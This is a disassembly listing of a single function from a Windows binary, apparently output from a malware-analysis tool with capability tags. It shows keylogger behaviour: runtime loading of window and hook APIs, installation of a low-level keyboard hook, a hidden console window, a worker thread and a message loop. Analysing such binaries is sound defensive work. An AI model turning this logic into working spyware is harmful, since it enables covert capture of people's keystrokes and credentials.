Function at 0x1400026c0
Capabilities:
Create thread
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xa0
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rsp + 0x90], rax
xor ebx, ebx
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x140002769
lea rdx, str.GetForegroundWindow
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000baa0], rax
lea rdx, str.GetWindowTextA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000ba90], rax
lea rdx, str.SetWindowsHookExA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000baa8], rax
lea rdx, str.UnhookWindowsHookEx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000ba98], rax
lea rdx, str.CallNextHookEx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000ba80], rax
cmp qword [0x14000baa8], rbx
jne 0x1400027ab
lea rdx, str.Failed_to_dynamically_load_API._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004670
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.1400051a0
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rdi
ret
lea rcx, [rsp + 0x40]
call fcn.140001630
mov rdi, rax
lea rax, [0x14000b0d8]
cmp rax, rdi
je 0x14000283c
mov rdx, qword [0x14000b0f0]
cmp rdx, 0xf
jbe 0x140002801
mov rcx, qword [0x14000b0d8]
inc rdx
cmp rdx, 0x1000
jb 0x1400027fc
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002870
mov rcx, r8
call fcn.14000543c
mov qword [0x14000b0e8], rbx
mov qword [0x14000b0f0], 0xf
mov byte [0x14000b0d8], bl
movups xmm0, xmmword [rdi]
movups xmmword [0x14000b0d8], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [0x14000b0e8], xmm1
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 0xf
mov byte [rdi], bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14000287c
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002877
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002877
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000543c
mov ecx, 8
call fcn.1400051c0
lea rcx, [0x140001b10]
mov qword [rax], rcx
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x1400050d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400029d8
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140001e90]
mov ecx, 0xd
call qword [0x14000baa8]
mov rdi, rax
test rax, rax
jne 0x140002902
lea rdx, str.Failed_to_install_keyboard_hook._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004670
mov ebx, 0xffffffff
jmp 0x1400029c3
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x14000295d
nop word [rax + rax]
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140002930
cmp dword [rsp + 0x38], 0
jne 0x140002970
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rsp + 0x38], eax
jne 0x140002988
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
je 0x1400029b0
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rdi
call qword [0x14000ba98]
nop
cmp dword [rsp + 0x38], 0
je 0x1400029d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov eax, ebx
jmp 0x14000278a
mov dword [rsp + 0x38], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3